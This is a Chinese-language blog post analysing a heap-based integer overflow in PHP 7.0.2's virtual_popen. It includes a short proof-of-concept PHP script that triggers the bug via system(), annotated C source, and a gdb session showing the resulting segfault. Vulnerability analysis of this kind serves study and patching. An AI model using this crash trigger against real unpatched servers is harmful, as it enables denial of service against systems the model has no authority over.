php漏洞挖掘与修复 英文版,[原创]PHP 7 漏洞挖掘系列之二:Heap-based integer overflow...

0x01 前言

这个漏洞是玄武实验室的人挖出来的,我这边做一下分享吧。我们不是漏洞挖掘者,只是漏洞搬运者。好了,进入正题吧,这篇文章主要讲述的是基于堆的整数溢出,找了好久终于找到一个比较简单易懂的漏洞进行分析。

0x02 漏洞分析

首先放poc:<?php

ini_set('memory_limit', -1);

$cmd = str_repeat("/", 0xfffffff0);

system($cmd);

这段代码看起来非常简单,假如内存不够的话,运行这段代码会报out of memory错误,poc中的system函数可以替换其它命令执行函数,只要是调用了virtual_popen这个函数就可以。下面先看关键代码:#else /* Unix */

CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */

{

int command_length;  //int型的长度在32位中为0x7fffffff

int dir_length, extra = 0;

char *command_line;

char *ptr, *dir;

FILE *retval;

command_length = strlen(command);  //这里统计命令的字符串长度,

dir_length = CWDG(cwd).cwd_length;

dir = CWDG(cwd).cwd;

while (dir_length > 0) {

if (*dir == '\'') extra+=3;

dir++;

dir_length--;

}

dir_length = CWDG(cwd).cwd_length;//脚本路径的长度

dir = CWDG(cwd).cwd;

ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);  //这边变成了emalloc(0),等会看调试信息

if (!command_line) {

return NULL;

}

memcpy(ptr, "cd ", sizeof("cd ")-1);

ptr += sizeof("cd ")-1;

if (CWDG(cwd).cwd_length == 0) {

*ptr++ = DEFAULT_SLASH;

} else {

*ptr++ = '\'';

while (dir_length > 0) {

switch (*dir) {

case '\'':

*ptr++ = '\'';

*ptr++ = '\\';

*ptr++ = '\'';

/* fall-through */

default:

*ptr++ = *dir;

}

dir++;

dir_length--;

}

*ptr++ = '\'';

}

*ptr++ = ' ';

*ptr++ = ';';

*ptr++ = ' ';

memcpy(ptr, command, command_length+1);  //这里在转换的时候负数变成正数,大于申请的堆空间,所以复制后造成溢出

retval = popen(command_line, type);

efree(command_line);

return retval;

}

这段代码在zend_virtual_cwd.c的1853行,可以看出是unix环境使用的函数。这个函数是执行命令的底层调用函数,具体我就不往上找了麻烦,从代码中就可以大致看的出来。php执行命令的函数还是挺多的,我就不列举了,在poc中我用的是system函数。具体原因请看代码注释。

如果这样还不明白的话,可以看gdb调试信息:root@mhn:~# gdb -q --args php-7.0.2/sapi/cli/php -n test.php

Reading symbols from php-7.0.2/sapi/cli/php...done.

(gdb) b zend_virtual_cwd.c:1873

Breakpoint 1 at 0x84d8b4: file /root/php-7.0.2/Zend/zend_virtual_cwd.c, line 1873.

(gdb) b zend_virtual_cwd.c:1904

Breakpoint 2 at 0x84d979: file /root/php-7.0.2/Zend/zend_virtual_cwd.c, line 1904.

(gdb) r

Starting program: /root/php-7.0.2/sapi/cli/php -n test.php

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, virtual_popen (

command=command@entry=0x7ffef1200018 '/' ...,

type=type@entry=0xae66bb "r") at /root/php-7.0.2/Zend/zend_virtual_cwd.c:1873

1873ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);

(gdb) p command_length

$1 = -16

(gdb) p sizeof("cd '' ; ")

$2 = 9

(gdb) p dir_length

$3 = 5

(gdb) p extra

$4 = 0    //可以看到这边加起来为0,其实这样比较容易理解。

(gdb) c

Continuing.

Breakpoint 2, virtual_popen (

command=command@entry=0x7ffef1200018 '/' ...,

type=type@entry=0xae66bb "r") at /root/php-7.0.2/Zend/zend_virtual_cwd.c:1904

1904memcpy(ptr, command, command_length+1);

(gdb) p command_length+1

$5 = -15

(gdb) n

Program received signal SIGSEGV, Segmentation fault.

__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:152

152../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.

我想看到这里也看明白了,正是因为command_length的类型为int,后面再malloc和memcpy中又转化size_t类型,然后造成整数溢出。这个漏洞我感觉是最容易理解。exp我现在还不咋会写,等后续可能会学习一下怎么在实际漏洞中的编写。容我吹个牛逼,要不是有人先发现了,我觉的这个漏洞发现者会是。。。

0x03 小结

虽然这篇文章我老早就写好了,但是到现在还没明白,关于php的内存管理机制,不过本文不用理解那些东西,到后面的UAF就需要有很深的了解,所以到现在我还没明白php的UAF的原理与利用。欢迎加我QQ 499671216一起讨论。如果本章内容讲解错误,欢迎指出。

参考链接:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值